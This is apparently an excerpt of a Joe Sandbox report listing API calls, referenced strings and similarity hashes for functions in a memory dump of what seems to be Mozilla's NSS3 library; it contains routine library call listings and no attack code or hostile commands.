Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 7013271ea36d60d5c0d2fa787439ac1e2d6c0593e2f9ced73df7332e67ad0fd4
Instruction ID: e6147813523eefc543915c1349d847fde0b7519b05760fd09dd8b1443711a277
Opcode Fuzzy Hash: 7013271ea36d60d5c0d2fa787439ac1e2d6c0593e2f9ced73df7332e67ad0fd4
Instruction Fuzzy Hash: 35519FB5A00611AFDB01DF29D884B5AB7B9FF08318F184264E818A7E11E731FDA4CBD1

Function 6CA94CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA9AB7F,?,00000000,?), ref: 6CA94CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CA9AB7F,?,00000000,?), ref: 6CA94CC8
TlsGetValue.KERNEL32(?,6CA9AB7F,?,00000000,?), ref: 6CA94CE0
EnterCriticalSection.KERNEL32(?,?,6CA9AB7F,?,00000000,?), ref: 6CA94CF4
PL_HashTableLookup.NSS3(?,?,?,6CA9AB7F,?,00000000,?), ref: 6CA94D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CA94D10

Part of subcall function 6CB1DD70: TlsGetValue.KERNEL32 ref: 6CB1DD8C
Part of subcall function 6CB1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB1DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CA94D26

Part of subcall function 6CB39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CB80A27), ref: 6CB39DC6
Part of subcall function 6CB39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CB80A27), ref: 6CB39DD1
Part of subcall function 6CB39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB39DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CA94D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CA94DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CA94E02

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 67303e567752e0b72889b48646e2a8f4ca05eb8341f1ecf43bbaf926405b2ff8
Instruction ID: ec89a7179968421fae48bc1d72355ccce3bc7c8044296b5288b3cdc1353a1097
Opcode Fuzzy Hash: 67303e567752e0b72889b48646e2a8f4ca05eb8341f1ecf43bbaf926405b2ff8
Instruction Fuzzy Hash: B941C8B9A102159BEB015F74ED45A5A77F8EF0521CF084170EC2987B21EB31D998C7E1

Function 6CA72E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA72CDA,?,00000000), ref: 6CA72E1E

Part of subcall function 6CACFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA79003,?), ref: 6CACFD91
Part of subcall function 6CACFD80: PORT_Alloc_Util.NSS3(A4686CAD,?), ref: 6CACFDA2
Part of subcall function 6CACFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAD,?,?), ref: 6CACFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CA72E33

Part of subcall function 6CACFD80: free.MOZGLUE(00000000,?,?), ref: 6CACFDD1

TlsGetValue.KERNEL32 ref: 6CA72E4E
EnterCriticalSection.KERNEL32(?), ref: 6CA72E5E
PL_HashTableLookup.NSS3(?), ref: 6CA72E71
PL_HashTableRemove.NSS3(?), ref: 6CA72E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CA72E96
PR_Unlock.NSS3 ref: 6CA72EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA72EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA72EC5

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 2a74d19bbff97bffe6ba46b74433e360e8db22fc1e70855880f6278238436607
Instruction ID: bc13503dfa09661c34a1391b7389c33eeb4c3e781a46a1f024d0c8df6cbf9bd9
Opcode Fuzzy Hash: 2a74d19bbff97bffe6ba46b74433e360e8db22fc1e70855880f6278238436607
Instruction Fuzzy Hash: C421C276A40141A7EF111F65AC09E9A3A79EB5235DF080134ED1887B11FB32D9E8D6E2

Function 6CB00690 Relevance: 15.1, APIs: 10, Instructions: 57threadCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000000,?,?,6CB00642,?,?,6CB0477E,00000000), ref: 6CB00695

Part of subcall function 6CB398D0: calloc.MOZGLUE(00000001,00000084,6CA60936,00000001,?,6CA6102C), ref: 6CB398E5

PR_NewLock.NSS3(00000000,?,?,6CB00642,?,?,6CB0477E,00000000), ref: 6CB006A1

Part of subcall function 6CB398D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB39946
Part of subcall function 6CB398D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9F16B7,00000000), ref: 6CB3994E
Part of subcall function 6CB398D0: free.MOZGLUE(00000000), ref: 6CB3995E

PR_GetCurrentThread.NSS3(00000000,?,?,6CB00642,?,?,6CB0477E,00000000), ref: 6CB006BB
DeleteCriticalSection.KERNEL32(?,00000000,?,?,6CB00642,?,?,6CB0477E,00000000), ref: 6CB006D1
free.MOZGLUE(?,?,?,6CB00642,?,?,6CB0477E,00000000), ref: 6CB006D8
PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,?,6CB00642,?,?,6CB0477E,00000000), ref: 6CB006F4

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CB0070A
free.MOZGLUE(?), ref: 6CB00711
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CB0072D
PR_SetError.NSS3(?,00000000), ref: 6CB00738

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$CriticalSectionfree$DeleteLock$CountCurrentInitializeLastSpinThreadValuecalloc
String ID:
API String ID: 3345202482-0
Opcode ID: b17c92a056c5c558d8f6520374931bb0e8821358d62f181a871fbc65e56ad4f3
Instruction ID: 241195283503c9e69f985d9d5410baf579f9c86cf9f78fbc9025cea67b5f83bb
Opcode Fuzzy Hash: b17c92a056c5c558d8f6520374931bb0e8821358d62f181a871fbc65e56ad4f3
Instruction Fuzzy Hash: 5F110871B016D65BDE10AFA49C1DB4E3B78EBA6719F100024E90D97F00EB75E50587E3

Function 6CB166A0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(00000000), ref: 6CB1690A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB16999
PK11_ImportDataKey.NSS3(00000000,0000402A,00000004,0000010C,?,00000000), ref: 6CB169E3

Part of subcall function 6CAFF060: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,hrr ech accept confirmation,?,6CB167A0,?,?,?), ref: 6CAFF08A

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB16A1F
PK11_FreeSymKey.NSS3(?), ref: 6CB16A3F
PK11_FreeSymKey.NSS3(?), ref: 6CB16A58

Part of subcall function 6CAFEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFEE85

Part of subcall function 6CAFEE50: realloc.MOZGLUE(3C08EEA5,?), ref: 6CAFEEAE
Part of subcall function 6CAFEE50: PORT_Alloc_Util.NSS3(?), ref: 6CAFEEC5
Part of subcall function 6CAFEE50: htonl.WSOCK32(?), ref: 6CAFEEE3
Part of subcall function 6CAFEE50: htonl.WSOCK32(00000000,?), ref: 6CAFEEED
Part of subcall function 6CAFEE50: memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CAFEF01

Strings

ech accept confirmation, xrefs: 6CB166BE
hrr ech accept confirmation, xrefs: 6CB166C3, 6CB16A9B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_$FreeUtil$ErrorItem_Zfreehtonl$Alloc_DataImportmemcpyrealloc
String ID: ech accept confirmation$hrr ech accept confirmation
API String ID: 316861715-779126823
Opcode ID: 30d2620251a0940f9784f7d17a717846c09a3035618879cc905f814a67e62d89
Instruction ID: 52c1f1313c7c3cfe63cb2d86a375039b7ac7f41f1f46fed2307fe6b3b8c6d71f
Opcode Fuzzy Hash: 30d2620251a0940f9784f7d17a717846c09a3035618879cc905f814a67e62d89
Instruction Fuzzy Hash: 8AB1A0B6A083856BE700DB24AD01BAB76E9EF4474CF040928FD54D7A81F731E65DC6A3

Function 6C9FCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C9FB999), ref: 6C9FCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C9FB999), ref: 6C9FD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C9FB999), ref: 6C9FD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C9FB999), ref: 6CB4972B

Strings

%s at line %d of [%.10s], xrefs: 6C9FCFEC, 6C9FD018, 6C9FD029, 6C9FD03F, 6CB4978B
database corruption, xrefs: 6C9FCFE7, 6C9FD013, 6C9FD028, 6C9FD039, 6C9FD03E, 6CB49786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9FCFDD, 6C9FD00E, 6C9FD022, 6C9FD033, 6CB49780

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 77aae8308c6a7fd978389d104295200ee7e1ea8e8f50e29043b1e122307062cd
Instruction ID: c3b78327a5ee1f17dffd9f1f8022199d02f08e129d04c834711891686170030f
Opcode Fuzzy Hash: 77aae8308c6a7fd978389d104295200ee7e1ea8e8f50e29043b1e122307062cd
Instruction Fuzzy Hash: 7E615A71A042508BD310CF69C840BA6B7F5EF55318F2881ADE498AFB42D376E947C7E1

Function 6CB82680 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_release_memory.NSS3(PR_Select(),PR_Poll()), ref: 6CB8269F
calloc.MOZGLUE(00000014,00000008), ref: 6CB826E0
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB826F4
PR_Sleep.NSS3(?), ref: 6CB82710

Part of subcall function 6CB8C2A0: PR_IntervalNow.NSS3 ref: 6CB8C2BE
Part of subcall function 6CB8C2A0: PR_NewCondVar.NSS3 ref: 6CB8C2CC
Part of subcall function 6CB8C2A0: EnterCriticalSection.KERNEL32(?), ref: 6CB8C2E8
Part of subcall function 6CB8C2A0: PR_IntervalNow.NSS3 ref: 6CB8C2F7
Part of subcall function 6CB8C2A0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB8C378
Part of subcall function 6CB8C2A0: DeleteCriticalSection.KERNEL32(?), ref: 6CB8C390
Part of subcall function 6CB8C2A0: free.MOZGLUE(?), ref: 6CB8C397

Part of subcall function 6CB828A0: realloc.MOZGLUE(?,000000A8), ref: 6CB828EB
Part of subcall function 6CB828A0: memset.VCRUNTIME140(-FFFFFAC0,00000000,000000A0), ref: 6CB8290A

PR_SetError.NSS3(FFFFE891,00000000), ref: 6CB8287D
free.MOZGLUE(?), ref: 6CB8288B

Strings

PR_Poll(), xrefs: 6CB82695
PR_Select(), xrefs: 6CB8269A

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalErrorIntervalSectionfree$CondDeleteEnterSleepcallocmemsetreallocsqlite3_release_memory
String ID: PR_Poll()$PR_Select()
API String ID: 3069664790-3034026096
Opcode ID: d466287250a1481cc5023c0a8a78912bc20d61a2f73c048ec2d38bc663d51a52
Instruction ID: 924cdc5852ef6832d7dae50a500bb2038efd0bcf5d4181715a5bbbe33afd1c4c
Opcode Fuzzy Hash: d466287250a1481cc5023c0a8a78912bc20d61a2f73c048ec2d38bc663d51a52
Instruction Fuzzy Hash: 0A61D175A022568FDF00CF59C8487AAB7B1FF48305F248229DD199B795E731E904CB92

Function 6CAFEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CB1A4A1,?,00000000,?,00000001), ref: 6CAFEF6D

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

htonl.WSOCK32(00000000,?,6CB1A4A1,?,00000000,?,00000001), ref: 6CAFEFE4
htonl.WSOCK32(?,00000000,?,6CB1A4A1,?,00000000,?,00000001), ref: 6CAFEFF1
memcpy.VCRUNTIME140(?,?,6CB1A4A1,?,00000000,?,6CB1A4A1,?,00000000,?,00000001), ref: 6CAFF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CB1A4A1,?,00000000,?,00000001), ref: 6CAFF027

Strings

dtls13, xrefs: 6CAFEF33

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: a2ddc0095bc0c69ac8fa993e5f2a1877f2119eb47ba7eacbe90072a296f5d4d0
Instruction ID: f09f379d64c8dca5566d567fd19e7d93e6b5b4f10fad8e39c7d6fcf4e1159c0a
Opcode Fuzzy Hash: a2ddc0095bc0c69ac8fa993e5f2a1877f2119eb47ba7eacbe90072a296f5d4d0
Instruction Fuzzy Hash: 7D31E171A01211AFDB10DF28DC80B8AB7E4AF49348F198029F9289B751E731E956CBE1

Function 6CABCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CABCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CABCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CABD079

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 9242b57807fd53b32682d701951c1652351989f410cfb94f29ec3cbed7f73289
Instruction ID: 86f9ed00cf2d414b81b4370d4b936b90138cecef6cff5bfb8738c87c31026bc2
Opcode Fuzzy Hash: 9242b57807fd53b32682d701951c1652351989f410cfb94f29ec3cbed7f73289
Instruction Fuzzy Hash: 8BC160B5E002199BDB10DF24CC80BDAB7B8BB48318F1441A9E949A7741E775EED9CF90

Function 6CA906A0 Relevance: 13.7, APIs: 9, Instructions: 225stringCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA906C2
EnterCriticalSection.KERNEL32(?), ref: 6CA906D6
PR_Unlock.NSS3 ref: 6CA906EB

Part of subcall function 6CB1DD70: TlsGetValue.KERNEL32 ref: 6CB1DD8C
Part of subcall function 6CB1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB1DDB4

free.MOZGLUE(?), ref: 6CA907DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA907FA

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterLeaveUnlockfreestrlen
String ID:
API String ID: 3527478211-0
Opcode ID: b030c2a7aad4981364efba3154d23773a559b4464cd4657fca8d6cd058285633
Instruction ID: 9b4ef0fd018fca93ab0605c029f9cc6fa4f22c768685e0f78d9608d9044677d4
Opcode Fuzzy Hash: b030c2a7aad4981364efba3154d23773a559b4464cd4657fca8d6cd058285633
Instruction Fuzzy Hash: 138108B19012449FEB009F64CD86AAA7BF8FF19348F044068ED195B722E731E9C8CBD1

Function 6CAE4620 Relevance: 13.7, APIs: 9, Instructions: 221threadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6CAE4963

Part of subcall function 6CA83090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA9AE42), ref: 6CA830AA
Part of subcall function 6CA83090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA830C7
Part of subcall function 6CA83090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CA830E5
Part of subcall function 6CA83090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA83116
Part of subcall function 6CA83090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA8312B
Part of subcall function 6CA83090: PK11_DestroyObject.NSS3(?,?), ref: 6CA83154
Part of subcall function 6CA83090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA8317E

SECOID_FindOID_Util.NSS3(?), ref: 6CAE465E

Part of subcall function 6CAD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF
Part of subcall function 6CAD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6CAE4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6CAE4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6CAE473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6CAE4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBA2DA0,?,?,?,?,?,?,?,?,00000000), ref: 6CAE482E
PR_GetCurrentThread.NSS3 ref: 6CAE48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CAE4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CAE4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6CAE494E
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAE4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6CAE21C2,?,?,?), ref: 6CAE499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAE49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6CAE49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CAE49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAE49E9

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena_Error$AlgorithmFreeTag_$Destroy$FindHashItem_LookupPublicTable$Alloc_ArenaConstCopyCurrentDataEncodeK11_ObjectThreadVerifyWithmemset
String ID:
API String ID: 1962444627-0
Opcode ID: 4b6289168ad9051835425c50d5fb94aa2a20d43d387798ff146da41d82bf1690
Instruction ID: 9ec810fc8233a15041d57783cac6b7f0ec7858d035871fc7d47ef808c3b27771
Opcode Fuzzy Hash: 4b6289168ad9051835425c50d5fb94aa2a20d43d387798ff146da41d82bf1690
Instruction Fuzzy Hash: 3171B375E012049BFB108AE6D990BEE766DEF0D31CF284039E915ABB41E731E9C49AD1

Function 6CA72C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(3C08EEA5), ref: 6CA72C5D

Part of subcall function 6CAD0D30: calloc.MOZGLUE ref: 6CAD0D50
Part of subcall function 6CAD0D30: TlsGetValue.KERNEL32 ref: 6CAD0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CA72C8D
